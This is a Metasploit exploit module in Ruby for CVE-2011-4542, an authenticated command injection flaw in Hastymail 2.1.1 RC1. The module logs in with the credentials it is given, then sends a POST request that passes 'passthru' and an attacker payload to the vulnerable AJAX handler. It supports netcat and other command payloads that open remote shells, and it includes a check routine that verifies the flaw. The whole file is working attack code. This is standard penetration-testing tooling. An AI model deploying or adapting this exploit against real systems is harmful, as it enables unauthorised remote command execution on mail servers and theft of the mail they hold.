##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Hastymail 2.1.1 RC1 Command Injection",
      'Description'    => %q{
          This module exploits a command injection vulnerability found in Hastymail
        2.1.1 RC1 due to the insecure usage of the call_user_func_array() function on
        the "lib/ajax_functions.php" script. Authentication is required on Hastymail
        in order to exploit the vulnerability. The module has been successfully tested
        on Hastymail 2.1.1 RC1 over Ubuntu 10.04.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Bruno Teixeira', # Vulnerability Discovery
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2011-4542' ],
          [ 'BID', '50791' ],
          [ 'OSVDB', '77331' ],
          [ 'URL', 'https://www.dognaedis.com/vulns/DGS-SEC-3.html' ]
        ],
      'Payload'        =>
        {
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl ruby python netcat netcat-e',
            }
        },
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Targets'        =>
        [
          ['Hastymail 2.1.1 RC1', {}]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Nov 22 2011",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, "The base path to Hastymail", "/hastymail2/"]),
        OptString.new('USER', [true, "The username to authenticate with", ""]),
        OptString.new('PASS', [true, "The password to authenticate with", ""])
      ])
  end


  def check
    @uri = normalize_uri(target_uri.path)
    @uri << '/' if @uri[-1,1] != '/'
    @session_id = ""

    login

    if not @session_id or @session_id.empty?
      vprint_error "Authentication failed"
      return Exploit::CheckCode::Unknown
    end

    test = rand_text_alpha(rand(4) + 4)
    data = "rs=passthru&"
    data << "rsargs[]=#{rand_text_alpha(rand(4) + 4)}&"
    data << "rsargs[]=echo #{test}"
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => "#{@uri}",
      'Cookie' => @session_id,
      'data' => data
    })

    if res and res.code == 200 and res.body =~ /#{test}/
      return Exploit::CheckCode::Vulnerable
    else
      return Exploit::CheckCode::Safe
    end
  end

  def login
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => "#{@uri}?page=login",
      'vars_post' =>
      {
        'user' => datastore['USER'],
        'pass' => datastore['PASS'],
        'login' => 'Login'
      }
    })

    if res and res.code == 303
      @session_id = res.get_cookies
      print_good("Authentication Successful")
    end
  end

  def exploit
    @uri = normalize_uri(target_uri.path)
    @uri << '/' if @uri[-1,1] != '/'
    @session_id = ""

    print_status "Trying login"
    login

    if not @session_id or @session_id.empty?
      print_error "Authentication failed"
      return
    end

    print_good "Authentication successfully, trying to exploit"

    data = "rs=passthru&"
    data << "rsargs[]=#{rand_text_alpha(rand(4) + 4)}&"
    data << "rsargs[]=#{payload.encoded}"

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => "#{@uri}",
      'Cookie' => @session_id,
      'headers' => {
        'Cmd' => Rex::Text.encode_base64(payload.encoded)
      },
      'data' => data
    })

    if not res or res.code != 200 or not res.body =~ /\+/
      print_error "Exploitation failed"
      return
    end

  end


end
